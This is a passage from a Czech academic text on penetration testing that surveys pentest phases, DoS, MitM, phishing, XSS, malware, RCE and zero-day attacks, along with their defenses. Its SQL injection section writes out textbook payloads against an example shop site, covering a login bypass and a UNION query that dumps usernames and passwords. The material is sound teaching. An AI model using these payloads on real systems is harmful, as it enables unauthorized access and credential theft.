n a p ř í k l a d a rch i t ek ton ické diagramy sys t ému . 

• Transparent box - je poskytnut p ř í s t u p b i n á r n í m s o u b o r ů m , k o n t e jn e rů m, zd ro jovým 
k ó d ů m a se rve rům, na k t e r ý c h je t e s tovaný s y s t é m s p u š t ě n . 

4 . 4 . 2 F á z e 

R ů z n é organizace mohou u v á d ě t r ů z n ý p o č e t fází, což je z p ů s o b e n o v y n a c h á n í m dvou fází 
p rováděných p ř e d testem a po jeho ukončení , k t e r é ma j í ovšem z á s a d n í v ý z n a m pro bez
pečnos t . V t é t o kapitole je uvedeno všech sedm fází. [57] 

P r e - e n g a g e m e n t 

B ě h e m t é t o fáze jsou stanoveny cíle, časový p l án a rozsah p e n e t r a č n í h o testu. Je stanoven 
typ p rováděného testu a co bude t e s továno . Dá le je n u t n ý souhlas pro p roveden í testu, t akže 
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jsou v t é t o fázi podep i sovány smlouvy, k t e r é zahrnu j í n a p ř í k l a d pravidla pro p roveden í testu 
nebo cíle testu. 

P r ů z k u m 

V t é t o fázi jsou s h r o m a ž ď o v á n a data re levan tn í pro p rováděné p e n e t r a č n í testy. P ř i akt iv
n í m p r ů z k u m u jsou data z í skávána z cílového s y s t é m u a př i p a s i v n í m p r ů z k u m u jsou data 
z í skávána z veřejně d o s t u p n ý c h zdro jů . 

A k t i v n í p r ů z k u m cílí na sí tě , o p e r a č n í sys témy, uživate lské účty, n á z v y d o m é n a p o š t o v n í 
servery. 

Pas ivn í p r ů z k u m cílí na sociální méd ia , webové s t r ánky , d a ň o v é informace a dalš í veřejné 
informace. 

S k e n o v á n í 

V t é t o fázi jsou v y h l e d á v á n y v s t u p n í body. V s t u p n í m bodem m ů ž e bý t o t ev řený port nebo 
s p u š t ě n á s lužba . K tomuto účelu lze použ í t n á s t r o j N m a p p o p s a n ý v čás t i 4.8.1. V závislost i 
na p r o v á d ě n é m typu p e n e t r a č n í h o testu j iž mohly bý t poskytnuty informace o sí t i nebo 
seznam IP adres. V t é t o fázi jsou vyhodnoceny zranitelnosti . K v y h l e d á n í z ran i t e lnos t í 
je m o ž n é využ í t d a t a b á z e z ran i t e lnos t í jako je N V D (Nat ional Vulnerabi l i ty Database) 
nebo provés t a u t o m a t i c k é skenování p o m o c í n á s t r o j ů . Dá le jsou z m a p o v á n a akt iva vysoké 
hodnoty, mezi k t e r é p a t ř í úda j e o zákazníc ích nebo změs tnanc í ch . 

Z í s k á n í p ř í s t u p u 

V t é t o fázi je proveden pokus o zneuž i t í z r an i t e lnos t í a z í skání p ř í s t u p u do sy s t ému . K 
tomuto účelu lze použ í t n á s t r o j Metasploi t p o p s a n ý v kapitole 6. V t é t o fázi jsou dále 
posouzeny důs l edky a rozsah na rušen í . D ů s l e d k e m n a r u š e n í m ů ž e bý t zašifrování dat nebo 
proveden í zero day ú t o k u p o p s a n é h o v kapitole 4.6. 

U d r ž e n í p ř í s t u p u 

P ro u d r ž e n í p ř í s t u p u m ů ž e bý t v ý h o d n é z ískání p r á v už iva te le root, správce zař ízení nebo 
sys t ému . Získání p r á v už iva te le root p o u ž i t í m exploi tu je p o p s á n v kapitole 7. Nás l edně 
mohou bý t v y t v o ř e n a z a d n í v r á t k a do sy s t ému . 

A n a l ý z a R i z i k , P o d á v á n í Z p r á v a p o s t - e x p l o i t a t i o n 

Do t é t o fáze s p a d á vyč i š těn í sy s t ému , př i k t e r é m je s y s t é m uveden do stavu p ř e d p r o v e d e n í m 
testu. Č iš těn í m ů ž e zahrnovat o d s t r a n ě n í spus t i t e lných soubo rů , o d s t r a n ě n í už iva te l ských 
ú č t ů vy tvo řených př i t e s tován í nebo z m ě n a n a s t a v e n í na p ů v o d n í hodnoty. 

Dá le jsou p ř e d á v á n y zprávy, na zák ladě k t e rých p rovád í spo lečnos t i kroky k zaj iš tění 
vyšší bezpečnos t i . Dů lež i t é je, aby byly z p r á v y j a s n é a t r a n s p a r e n t n í . Ve zprávách jsou 
uvedeny n a p ř í k l a d následuj íc í informace: 

• Zranitelnosti , k t e r é se p o d a ř i l o zneuží t . 

• Fáze testu. 

• Z ískané ci t l ivé informace. 

• N a jak dlouho by l z í skán p ř í s t u p bez odha len í . 
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N á p r a v a 

V t é t o fázi spo lečnos t na zák ladě z í skaných informací p rovád í kroky p o t ř e b n é k o d s t r a n ě n í 
z ran i te lnos t í . 

4.5 Typy ú toků 

V t é t o kapitole jsou uvedeny nejčastě jš í typy ú t o k ů . T y t o ú t o k y jsou v dnešn í d o b ě ča s to 
p rováděny o rgan izovanými a d o b ř e financovanými skupinami. D o roku 2025 je očekáván 
dalš í n á r ů s t spo jený s kybernetickou kr imina l i tou a zabezpečen í p ř e d ú t o k y a da l š ími hroz
bami m ů ž e pro n ě k t e r é spo lečnos t i p ř e d s t a v o v a t k o n k u r e n č n í v ý h o d u . 

4 . 5 . 1 Ú t o k y t y p u D o S ( D e n i a l - o f - S e r v i c e ) a D D o S ( D i s t r i b u t e d D e n i a l -
o f - S e r v i c e ) 

Útočn íc i p ř i p rováděn í ú t o k ů typu o d e p ř e n í s lužby neboli DoS a d i s t r i buované o d ep řen í 
s lužby neboli D D o S usilují o z n e p ř í s t u p n ě n í služby, serveru nebo j i ného síťového zdroje 
b ě ž n ý m už iva t e lům. Toho lze d o s á h n o u t zah l cen ím nebo z h r o u c e n í m cílového s y s t é m u . Za
t í m c o ú t o k typu DoS je veden z jednoho zdroje, ú t o k typu D D o S je veden z více zd ro jů jak 
je uvedeno na o b r á z k u 4.1. [66] [37] 

u -
D o S 

Server 

D D o S 

Server 

O b r á z e k 4.1: Ú t o k t y p u D o S a D D o S . P ř e v z a t o ze z d r o j e [66]. 

Útočn íc i mohou p o ž a d o v a t finanční p r o s t ř e d k y za zas t aven í ú t o k u nebo m ů ž e bý t ú t o k 
proveden s cí lem o d l á k a t pozornost od j i ného typu ú toky, k t e r ý se ú točn íc i chys ta j í p rovés t . 

Zde jsou uvedeny způsoby jak zajistit zh roucen í nebo zahlcení cíle a t í m zajistit znepř í 
s t u p n ě n í s lužby: 

• P o m o c í s í tě p o č í t a č ů zvané botnet. Tohoto pr inc ipu ča s to využívaj í ú t o k y typu D D o S . 
Ú t o č n í k m á nad poč í t ač i v botnet sít i kontrolu a m ů ž e d íky n i m generovat značné 
m n o ž s t v í provozu, k t e r ý zah l t í cílový sys t ém. P o č í t a č nacházej íc í se v botnet sít i 
je označován jako bot a jeho už iva te l čas to neví , že je jeho p o č í t a č součás t í t é t o 
sí tě . Obranou prot i tomuto ú t o k u m ů ž e bý t s p r á v n á konfigurace b r á n y firewall pro 
blokování u r č i t ého rozsahu IP adres. 
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• P r o v e d e n í m ú t o k u T C P S Y N flood, p ř i k t e r é m ú t o č n í k odesí lá c í lovému s y s t é m u po
ž a d a v k y na př ipo jen í . Cí lový s y s t é m odesí lá odpověd i na tyto požadavky , ale ú t o č n í k 
neodpov í zpě t . To způsob í h r o m a d ě n í t ě ch to p o ž a d a v k ů na p ř ipo jen í ve vyrovnávac í 
p a m ě t i v cí lovém sys t ému . Cílový s y s t é m se m ů ž e zhrouti t p ř i v y p r š e n í časového 
l imi tu pro čekán í na odpověď od ú t o č n í k a nebo se m ů ž e s t á t n e p o u ž i t e l n ý m př i zapl
nění vy rovnávac í p a m ě t i . Obranou prot i tomuto ú t o k u m ů ž e bý t s p r á v n á konfigurace 
b r á n y firewall pro blokování př íchozích S Y N p a k e t ů . 

• P r o v e d e n í m teardrop ú t o k u , p ř i k t e r é m ú t o č n í k rozděl í pakety na čás t i , k t e r é se vzá
j e m n ě překrýva j í . P ř i pokusu o znovuses taven í p a k e t ů m ů ž e doj í t k zh roucen í cílového 
sys t ému . D o d a v a t e l é vydáva j í z á p l a t y chrán íc í s y s t é m y p ř e d t í m t o typem ú t o k ů . 

• P r o v e d e n í m smurf ú t o k u , p ř i k t e r é m ú t o č n í k odešle pakety I C M P echo request s pod-
vrženou zdrojovou I P adresou p o m o c í broadcast adresy na všechna zař ízení v sí t i . Tato 
zař ízení n á s l e d n ě zah l t í cílový s y s t é m svými odpověďmi . Z a b r á n i t tomuto ú t o k u lze 
konfigurací zař ízení tak, aby n e o d p o v í d a l a na I C M P pakety z broadcast adres. 

• P r o v e d e n í m ú t o k u ping of death, p ř i k t e r é m ú t o č n í k odes í lá cí lovému s y s t é m u pakety 
I C M P echo request, jejichž velikost p řek raču je m a x i m á l n í velikost p a k e t ů protokolu 
IP. P ř i pokusu o znovuses taven í p a k e t ů m ů ž e doj í t k zh roucen í cílového sy s t ému . 
Obranou prot i tomuto ú t o k u je b r á n a firewall kontroluj íc í m a x i m á l n í velikost frag-
m e n t o v a n ý c h I P p a k e t ů . 

4 . 5 . 2 Ú t o k y t y p u M i t M ( M a n - i n - t h e - M i d d l e ) 

P ř i tomto typu ú t o k u ú t o č n í k zachy t í komunikaci mezi d v ě m a sys témy, k t e r é komunikaci 
vn íma j í tak, jako by p r o b í h a l a n a p ř í m o . P ř i ú t o k u mohou bý t z íkány př ih lašovací úda je 
nebo úda j e o ú č t u a dalš í . Ekvivalentem tohoto ú t o k u m ů ž e bý t pošťák, k t e r ý př i doručován í 
o tev ře dopis s informacemi o b a n k o v n í m ú č t u nebo j i nými c i t l ivými úda j i . P o o t ev řen í si 
zapíše informace a nás l edně dopis doruč í . Ú t o k je z n á z o r n ě n na o b r á z k u 4.2. [54] [37] 

ESBESI 
— X — 

Uživatel ^ ^ ^ ^ Web aplikace 
nove spojeni 

> Pachatel < 

(Man in the middle) 

O b r á z e k 4.2: Ú t o k t y p u M i t M . P ř e v z a t o ze z d r o j e [54]. 

Ú t o k m ů ž e mí t následuj íc í p r ů b ě h : 

1. Uživa te l se př ipo j í k ú t o č n í k o v u W i F i hotspotu, k t e r ý nen í c h r á n ě n heslem. 

2. Oběť odešle p r v n í p o ž a d a v e k o p ř ipo jen í na z a b e z p e č e n é web s t r ánky . P ř i tomto poža
davku provede ú t o č n í k ú t o k H T T P S spoofing, p ř i k t e r é m je odes l án falešný cert i f ikát 
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do prohl ížeče obě t i . D ig i t á ln í otisk obsažený v cer t i f iká tu je ověřen p roh l í žečem obě t i 
na zák l adě seznamu d ů v ě r y h o d n ý c h web s t r á n e k . Ú t o č n í k m ů ž e n á s l e d n ě dešifrovat 
komunikaci . 

Uživate lé by se měl i vyhnout použ íván í veřejných W i F i pro cit l ivé úkoly. V p ř í p a d ě jejich 
použ i t í je n u t n é použ i t í V P N . D o p o r u č e n é je t a k é použ i t í š i frovaného spo jen í H T T P S m í s t o 
H T T P . 

4 . 5 . 3 P h i s h i n g ú t o k y 

Cí lem t ěch to ú t o k ů je z í skání c i t l ivých informací od už iva te lů . Informace jsou nejčastěj i zís
k á n y p r o s t ř e d n i c t v í m p o d v o d n é h o emailu zas l aného ú t o č n í k e m . M e z i tyto informace p a t ř í 
n a p ř í k l a d hesla nebo informace o bankovn ích úč tech . [67] 

P ř í k l a d ú t o k u je uveden na o b r á z k u 4.3 a jeho p r ů b ě h je následující : 

1. Ú t o č n í k zašle uživate l i p o d v o d n ý email . 

2. P o d v o d n ý email informuje uživate le , že jeho úče t bude z rušen a t a k é , že úče t uživate le 
bude zachován v p ř í p a d ě , že p ře jde na web s t r á n k u , kde z a d á své př ih lašovací j m é n o 
a heslo. 

3. Uživa te l p řed je na adresu p o d v o d n é web s t r ánky , kde z a d á cit l ivé informace. 

4. Ú t o č n í k nás l edně využi je informace k př ih lášení . 

Útočník odešle 
oběti email 

Útočník 

Útočník používá 
přihlašovací 
údaje oběti k 
přístupu na 
webovou 
stránku. 

O V 
10101011010101 10010101001010 11010101010101 101010101010 

Útočník shromažďuje 
přihlašovací údaje obětí 

Oběť 

Oběť klikne na e-mail a 
přejde na podvodné 
webové stránky. 

Phishingové webové stránky 
Legitimní webové stránky 

O b r á z e k 4.3: P ř í k l a d p h i s h i n g ú t o k u . P ř e v z a t o ze z d r o j e [67]. 

P o d v o d n ý email m ů ž e obsahovat př í lohu , ve k t e r é se nacház í malware. [37] 
Z n á m ý je t a k é p o d v o d n ý email s n iger i j ským princem, k t e r ý ž á d á o zas lán í menš í č á s t k y 

v ý m ě n o u za větš í č á s tku , k t e r á bude uživatel i pozděj i zas lána . Tento typ podvodu je z n á m ý 
více než sto let, p ř ičemž se p ů v o d n ě jednalo a zas lán í menš í č á s t k y pro p o d p l a c e n í vě
zeňských dozorců , d íky k t e r ý m by se nás l edně poda ř i l o vysvobodit b o h a t é h o španě l ského 
vězně, k t e r ý by na o p l á t k u poslal větš í č á s t k u peněz . 

Ú t o k z a m ě ř e n ý na k o n k r é t n í osoby se n a z ý v á Spear phishing. 
Obranou m ů ž e bý t : 
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• O t e v í r á n í př í loh v izo lovaném pros t ř ed í . 

• P ř e z k o u m á n í pole Reply- to a Re tu rn -Pa th v hlavičce emailu, zda hodnoty pol í odpo
vídaj í d o m é n ě emailu. 

• P roško len í už iva te lů . 

4 . 5 . 4 Ú t o k y t y p u D r i v e - b y 

Díky zranitelnosti web s t r á n e k je už iva te l p ř e směrován na škodl ivé web s t r ánky , p ř i čemž je 
s t ažen malware do s y s t é m u uživa te le . [37] 

Obranou je ud ržován í a k t u á l n í c h ope račn ích s y s t é m ů a prohl ížečů a navš t ěvován í běžně 
použ ívaných web s t r ánek . 

4 . 5 . 5 Ú t o k y n a h e s l a 

Cí lem t ě c h t o ú t o k ů je z ískání hesel už iva te lů . Ex is tu j í r ů z n é způsoby jak hesla z ískat : [37] 

• P ř i ú t o k u hrubou silou jsou p o s t u p n ě zkoušeny všechny kombinace hesel. 

• P ř i s lovníkovém ú t o k u jsou p o s t u p n ě zkoušena slova u v e d e n á v seznamu neboli slov
níku. 

• P o m o c í softwaru zvaný keylogger, k t e r ý z a z n a m e n á v á stisky kláves. 

• Software s u m ě l o u intel igencí dokáže rozpoznat s t i tky kláves podle zvuku př i stisku. 

Pro obranu prot i tomuto ú t o k u je v ý h o d n é zavést v ícefaktorové ověřování , k t e r é m ů ž e 
kombinovat n a p ř í k l a d mobi ln í telefon, heslo a otisk prstu. [37] 

4 . 5 . 6 Ú t o k y t y p u C r e d e n t i a l S t u f R n g 

P ř i tomto ú t o k u využívaj í ú točn íc i unik lé př ih lašovací úda j e z í skané n a p ř í k l a d př i n a r u š e n í 
web s t r á n e k . P o m o c í t ěcho př ih lašovacích ú d a j ů se ú točn íc i pokoušej í o p ř ih lášen í do zná
m ý c h web s t r á n e k jako je n a p ř í k l a d PayPa l . com a p o d o b n é . D íky znovupouž íván í hesel je 
možné , že čás t z t ě ch to p o k u s ů bude úspěšných . Uživate lé by proto měl i použ íva t j ed inečné 
heslo pro k a ž d ý úče t . D a t a b á z i un ik lých př ih lašovacích ú d a j ů je t a k é m o ž n é prodat nebo 
koupit. [37] 

4 . 5 . 7 Ú t o k y S Q L I n j e c t i o n 

Tento typ ú t o k u využ ívá zranitelnosti web s t r ánek , k t e r á umožňu je z a h r n u t í vs tupu uživa
tele do S Q L dotazu p r o v á d ě n é h o apl ikac í . T í m t o z p ů s o b e m m ů ž e ú t o č n í k z ískat , upravit 
nebo odstranit data, ke k t e r ý m by za n o r m á l n í c h okolnos t í n e m ě l p ř í s t u p . P r o v e d e n í m 
ú t o k u m ů ž e ú t o č n í k z ískat s k r y t á data, změn i t logiku aplikace nebo m ů ž e z ískat data z 
různých tabulek d a t a b á z e . [59] [37] 

Obranou prot i tomuto ú t o k u m ů ž e bý t n a p ř í k l a d použ i t í p a r a m e t r i z o v a n ý c h d o t a z ů , 
zaveden ím bílé l is t iny povolených v s t u p n í c h hodnot nebo použ íván í u ložených d a t a b á z o v ý c h 
procedur. 

Dá le v t é t o kapitole jsou uvedeny p ř ík l ady ú t o k ů na web s t r á n k y in t e rne tového obchodu. 
P ř e d u v e d e n í m p ř í k l a d ů ú t o k ů S Q L Injection je n u t n é poznamenat, že v r á m c i S Q L d o t a z ů 
je ře tězec nacházej íc í se za znaky — i n t e r p r e t o v á n jako k o m e n t á ř . 
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Z í s k á n í s k r y t ý c h d a t 

Ve výpise 4.1 je uvedena U R L adresa, na kterou je odes l án p o ž a d a v e k pro z ískání všech 
p r o d u k t ů , k t e r é spada j í do kategorie dárky . 

https://insecure-website.com/products?category=Gifts 
Výpis 4.1: Získání všech p r o d u k t ů z kategorie dárky . 

P ř i př i je t í p o ž a d a v k u provede aplikace S Q L dotaz u v e d e n ý ve výp i se 4.2. Dotaz získá z 
tabulky products jen uvo lněné produkty, k t e r é spada j í do kategorie dá rky . Získání uvolně
ných p r o d u k t ů je specifikováno ř e t ě z c e m released = 1. 

SELECT * FROM products WHERE category = 'Gifts' AND released = 1 

Výpis 4.2: S Q L dotaz pro z ískání všech p r o d u k t ů z kategorie dárky . 

Ú t o č n í k m ů ž e odeslat p o ž a d a v e k s U R L adresou uvedenou ve výpise 4.3. 

https://insecure-website.com/products?category=Gifts'— 
Výpis 4.3: Získání všech p r o d u k t ů z kategorie d á r k y a neuvo lněných p r o d u k t ů . 

P ř i př i je t í p o ž a d a v k u provede aplikace S Q L dotaz u v e d e n ý ve výpise 4.4. Dotaz získá z 
tabulky products produkty, k t e r é spada j í do kategorie d á r k y a nav íc neuvo lněné produkty, 
p ro tože ře tězec ' AND released = 1 je b r á n jako k o m e n t á ř . 

SELECT * FROM products WHERE category = 'Gifts' — ' AND released = 1 

Výpis 4.4: S Q L dotaz pro z ískání všech p r o d u k t ů z kategorie d á r k y a neuvo lněných pro
d u k t ů . 

Z m ě n a l o g i k y a p l i k a c e 

P ř i s t a n d a r d n í m př ih lášen í je v y k o n á n S Q L dotaz u v e d e n ý ve výpise 4.5. 

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' 
Výpis 4.5: S Q L dotaz pro př ih lášen í . 

Uživa te l je p ř ih lá šen pod už iva t e l ským j m é n e m wiener a s heslem bluecheese v p ř í p a d ě , 
že dotaz v r á t í ú d a j e o uživatel i . 

V p ř í p a d ě , že ú t o č n í k z a d á jako uživate lské j m é n o ře tězec administrátor'—, nen í v S Q L 
dotazu provedena kontrola hesla, p ro tože ře tězec ' AND password = " je b r á n jako komen
t á ř . Výs ledný S Q L dotaz po jehož p roveden í je ú t o č n í k p ř ih l á šen jako už iva te l a d m i n i s t r á t o r 
je uveden ve výpise 4.6. 

SELECT * FROM users WHERE username = 'administrátor'—' AND password = " 
Výpis 4.6: S Q L dotaz pro př ih lášen í . 

Z í s k á n í d a t z r ů z n ý c h t a b u l e k 

Získání dat z r ů z n ý c h tabulek je m o ž n é p o m o c í kl íčového slova U N I O N u v e d e n é h o v S Q L 
př íkazu . Ve výpise 4.7 je uveden S Q L př íkaz , do k t e r é h o je vložen už iva te l ský vstup Gifts. 

SELECT name, description FROM products WHERE category = 'Gifts' 
Výpis 4.7: S Q L s b ě ž n o u už iva te l skou hodnotou. 
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V y výpise 4.8 je uveden S Q L př íkaz s už iva t e l ským vstupem ' UNION SELECT user-
name, password FROM users—, p o m o c í k t e r é h o ú t o č n í k z íská všechna už iva te l ská j m é n a a 
hesla spolu s produkty. J e d n o d u c h á uvozovka na konci p ř í kazu je o p ě t i n t e r p r e t o v á n a jako 
k o m e n t á ř . 

SELECT name, description FROM products WHERE category = 
UNION SELECT username, password FROM u s e r s — ' 

Výpis 4.8: S Q L p ř íkaz pro z ískání dat z j i né tabulky. 

4 . 5 . 8 Ú t o k y X S S ( C r o s s - S i t e S c r i p t i n g ) 

P ř í k l a d tohoto t y p u ú t o k u je uveden na o b r á z k u 4.4. Ú t o č n í k vloží do d a t a b á z e web s t r á 
nek payload. Payload je označen í pro škodl ivý kód . V tomto p ř í p a d ě se j e d n á o škodl ivý 
kód n a p s a n ý v p r o g r a m o v a c í m jazyce JavaScript . P ř i p ř í s t u p u na web s t r á n k y je uživate l i 
zas lána web s t r á n k a se škod l ivým k ó d e m do prohl ížeče obě t i . P ř i p ř í jmu web s t r á n k y je 
s p u š t ě n škodl ivý kód, k t e r ý zašle ú točn íkov i soubor cookie pa t ř í c í uživate l i . P o m o c í získa
ného souboru cookie je ú t o č n í k schopen provés t ú n o s relace. [37] 

Útočník vloží do databáze 
webových stránek škodlivý 
JavaScript, který ukradne 
soubory cookie. Webové stránky 

Webová stránka předá 
prohlížeči oběti stránku, 
kde se nachází útočníkův 
payload. Prohlížeč oběti 
spustí škodlivý skript. 

e 

Útočník 

A Útočník získá soubor 
cookie oběti a poté jej 
použije k únosu relace. O 

Q Útočník zjistí, že webová stránka 
obsahuje zranitelnosti typu script injection. 

Návštěvník webových stránek 

Q Po spuštění skriptu oběť 
odešle útočníkovi svůj soubor 
cookie. 

O b r á z e k 4.4: P ř í k l a d ú t o k u X S S . P ř e v z a t o ze z d r o j e [37]. 

T ě m t o t y p ů m ú t o k ů lze předej í t n a p ř í k l a d kontrolou už iva te l ských v s t u p ů na škodlivé 
skripty, p o u ž i t í m a u t o m a t i z o v a n ý c h s k r i p t ů pro vyh ledáván í z ran i t e lnos t í nebo p r o v á d ě n í m 
p e n e t r a č n í h o tes tování . 

4 . 5 . 9 M a l w a r e ú t o k y 

Malware je obecné označen í pro j akýkol iv škodl ivý S W . Ú t o č n í k m ů ž e p o m o c í tohoto škodli
vého S W n a p ř í k l a d u k r á s t , zašifrovat nebo vymazat už iva te l ská data nebo špehova t č innos t 
už ivate le na poč í t ač i . 

Po infikování p o č í t a č e n e m u s í už iva te l zaznamenat b u d ž á d n é nebo následuj íc í projevy: 

• P o č í t a č je z p o m a l e n ý a p řeh ř ívá se, což m ů ž e znamenat, že je zapo jený do s í tě botnet 
a jeho p r o s t ř e d k y jsou využ ívány na p roveden í D D o S ú t o k u . 
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• N a obrazovce p o č í t a č e se objevuj í n á h o d n é vyskakovac í reklami slibující v ý h r u . Tato 
vyskakovací okna mohou bý t spojena s da l š ím škod l ivým S W . 

• M ů ž e doj í t ke zh roucen í poč í t ače . 

• M ů ž e doj í t k n e č e k a n é m u ú b y t k u vo lného m í s t a na disku. 

• Síťová ak t iv i t a p o č í t a č e se n e č e k a n ě zvýšila. 

• N e o č e k á v a n á z m ě n a n a s t a v e n í prohl ížeče . Z m ě n ě n a mohla bý t d o m o v s k á s t r á n k a nebo 
mohly bý t na in s t a lovány nové nás t ro j e . 

P o č í t a č m ů ž e bý t infikován škod l ivým S W n a p ř í k l a d př i p r o c h á z e n í web s t r ánek , insta
laci S W z n e d ů v ě r y h o d n ý c h zdro jů , s t a ž e n í m infikovaných s o u b o r ů nebo pokud je uživate l i 
do ručen email s infikovanou př í lohou , kterou už iva te l o t ev ře . 

T y p y š k o d l i v é h o S W 

Najčas te jš í typy škodl ivého S W jsou následující : 

• Adware slouží pro zobrazován í reklam nejčastěj i v i n t e r n e t o v é m prohl ížeči . Rek lamy 
mohou donutit už iva te le k instalaci da l š ího S W . 

• Spyware umožňu je ú točn íkov i sledovat ak t iv i tu uživate le na poč í t ač i . 

• V i r u s je p ř i p o j e n k j i n é m u programu, j ehož s p u š t ě n í m se replikuje a upravuje j iné 
programy t í m , že k n i m př ipo ju je svůj kód. 

• Červ i jsou p o d o b n é v i r ů m ovšem s vý j imkou je ovšem to, že ke svému šíření n e p o t ř e 
buje už iva te l skou akci. 

• Tro jský k ů ň se na p r v n í pohled z d á bý t pro už iva te le jako už i t ečný S W . Útočn íc i zís
kají k inf ikovanému poč í t ač i p ř í s t u p a mohou odcizit finanční informace nebo mohou 
nainstalovat j iný škodl ivý S W . 

• Ransomware je p o u ž i t pro zašifrování s o u b o r ů už iva te le . Ú t o č n í k nás l edně m ů ž e po 
uživatel i p o ž a d o v a t zap lacen í v ý k u p n é h o v ý m ě n o u za dešifrování s o u b o r ů . Útočn íc i 
mohou čas to vyhrožova t zve ře jněn ím dat a v t a k o v é m p ř í p a d ě mus í už iva te l nebo 
organizace zaplati t v ý k u p n é i v p ř í p a d ě , že se data p o d a ř í dešifrovat . Obranou m ů ž e 
bý t zá loha kr i t ických dat nebo použ i t í s y s t é m ů pro detekci na rušen í . 

• Roo tk i t s louží pro z ískání a d m i n i s t r á t o r s k ý c h p r á v v n a p a d e n é m s y s t é m u . Tato p ráva 
se označuj í t a k é jako root. 

• Keylogger slouží pro z a z n e m a n á v á n í st isku kláves. T í m t o z p ů s o b e m m ů ž e ú t o č n í k 
zjistit n a p ř í k l a d hesla nebo ú d a j e o k red i tn í ch k a r t á c h . [37] 

• Exp lo i t je škodl ivý S W využívaj ící chyby a zranitelnosti v s y s t é m u , k t e r á u m o ž n í 
z ískat ú točn íkov i p ř í s t u p do n a p a d e n é h o s y s t é m u s cí lem odcizit už iva te l ská data 
nebo spustit j i ný škodl ivý S W . Exp lo i t m ů ž e využ í t n a p ř í k l a d zranitelnosti j á d r a 
ope račn ího s y s t é m u nebo b ě ž n é aplikace jak je uvedeno v kapitole 7. [53] 
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4 . 5 . 1 0 Ú t o k y t y p u R C E ( R e m o t e C o d e E x e c u t i o n ) 

P ř i ú s p ě š n é m p roveden í ú t o k u je na v z d á l e n é m poč í t ač i už ivate le s p u š t ě n škodl ivý S W . 
T í m t o z p ů s o b e m m ů ž e ú t o č n í k z ískat nad n a p a d e n ý m p o č í t a č e m uživa te le plnou kontrolu. 
P ř i ú t o k u m ů ž e t a k é n a p ř í k l a d doj í t k insalaci j i ného škodl ivého S W , odcizení už iva te l ských 
dat a o d e p ř e n í služby. Tento typ ú t o k u je proveden v kapitole 7.4. [25] 

Ú t o č n í k m ů ž e na v z d á l e n é m poč í t ač i spustit škodl ivý S W někol ika způsoby: 

• P r o v e d e n í m ú t o k u S Q L injection p o p s a n é h o v kapitole 4.5.7. 

• P ř i komunikaci m ů ž e b ě ž n ě docháze t k serializaci p ř e n á š e n ý c h dat do ře tězce . Ú t o č n í k 
m ů ž e do ser ia l izovaných dat vloži t spec iá lně u p r a v e n á data, k t e r á mohou bý t př i 
deserializaci i n t e r p r e t o v á n a jako s p u s t i t e l n ý kód. 

• Ú t o č n í k m ů ž e d o s á h n o u t záp i su dat mimo hranice p ř idě lené p a m ě t i . D a t a mohou bý t 
s p u š t ě n a ap l ikac í v p ř í p a d ě , že jsou z a p s á n a na s p r á v n é m í s t o p a m ě t i . 

Zmí rn i t tento typ ú t o k u je n a p ř í k l a d m o ž n é kontrolou už iva te l ských v s t u p ů , kontrolou 
sp rávy p a m ě t i v ap l ikac ích nebo zavést síťové zabezpečen í de tekuj íc í pokus o vzdá lené 
ov ládán í sys t émů . 

4.6 Co je to zero day útok 

Zero day ú t o k využ ívá zranitelnosti v S W . Ú t o k zero day je proveden v době , kdy o chybě 
j e š t ě neví v ý r o b c e aplikace a m á nula dn í na její opravu, aby ú t o k u zab rán i l . P ř í k l a d zero 
day zranitelnosti je zranitelnost n a z v a n á Log4j p o p s a n á v čás t i 4.7.2. [68] Se zero day 
ú t o k e m se poj í dalš í pojmy jako je zero day exploit a zero day zranitelnost. Jejich v ý z n a m 
je následuj ící : 

• Zero day zranitelnost je označen í pro zranitelnost, o k t e r é j e š t ě v ý r o b c e S W neví a 
neexistuje z p ů s o b jak j i opravit. 

• Zero day exploit je ozančen í pro z p ů s o b zneuž i t í zero day zranitelnosti . O b e c n á defi
nice pojmu exploit je uvedena v čás t i 4.5.9. 

• Zero day ú t o k je označen í pro ú tok , k t e r ý ke svému ú s p ě š n é m u p roveden í zneužívá zero 
day zranitelnosti . Ú t o k m ů ž e m í t za cíl n a p ř í k l a d k rádež dat nebo vy řazen í sy s t émů . 

V ý z n a m p o j m ů zero day zranitelnost, exploit a ú t o k je t a k é shrnut v tabulce 4.1. 
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T e r m i n o l o g i e C h y b a D o s t u p n á O b j e v e n a Z p ů s o b e n a 
o b j e v e n a o p r a v a m e t o d a j a k 

z r a n i t e l n o s t 
z n e u ž í t 

š k o d a 
( n a p ř . k r á d e ž 
d a t ) 

Zero day A n o Ne - -
zranitelnost 
Zero day exploit A n o Ne A n o -
Zero day ú t o k A n o Ne A n o A n o 

Tabulka 4.1: R o z d í l m e z i z e r o d a y z r a n i t e l n o s t í , z e r o d a y e x p l o i t e m a z e r o d a y 
ú t o k e m . P ř e v z a t o ze z d r o j e [68]. 

Životní cyklus zero day zranitelnosti od je j ího objevení až po opravu v ý r o b c e m S W je 
uveden na o b r á z k u 4.5. 

\ | / \ I / \ • ^ / v, | / . v | / 
Je objevena nová Obejvena metoda pro Kybernetičtí zločinci Zranitelnost je Je vydána záplata 

zranitelnost zneužití zranitelnosti využívají zranitelnost objevena dodavateli dodavateli softwaru 
ke způsobení škody. softwaru 

O b r á z e k 4.5: Ž i v o t n í c y k l u s z e r o d a y z r a n i t e l n o s t i . P ř e v z a t o ze z d r o j e [68]. 

4.7 Známé zranitelnosti 

V t é t o kapitole jsou uvedeny a k t u á l n ě nejčastěj i zneuž ívané zranitelnosti . Zranitelnost i se 
mohou t ý k a t jak S W , tak H W . V čás t i 4.7.13 se nacház í popis z ran ie lnos t í m o d e r n í c h 
procesorů . 

U n ě k t e r ý c h z ran i t e lnos t í je uvedeno C V S S h o d n o c e n í , j ehož stupnice je od hodnoty 0.0 
do hodnoty 10.0. Zranitelnost s hodnotou 0.1 m á velmi m a l ý dopad na fungování s y s t é m u 
a zranitelnost s hodnotou 10.0 m ů ž e způsob i t komptomitaci se rverů a je n u t n é co nejdř íve 
použ í t z á p l a t u . [58] 

4 . 7 . 1 C V E - 2 0 2 1 - 3 4 4 7 3 ( P r o x y S h e l l ) 

Tato zranitelnost je ve sku t ečnos t i s ložena ze t ř í dí lčích z ran i t e lnos t í se rverů Microsoft 
Exchange, k t e r ý m i jsou CVE-2021-34473, CVE-2021-34523 a CVE-2021-31207. Útočn íc i 
mohou př i zneuž i t í zranitelnosti spustit vzdá lený kód a nasadit malware jako je n a p ř í k l a d 
LockF i l e , Babuk a Squirrelwame. D íky s n a d n é m u zneuž i t í zranitelnosti došlo k p roveden í 
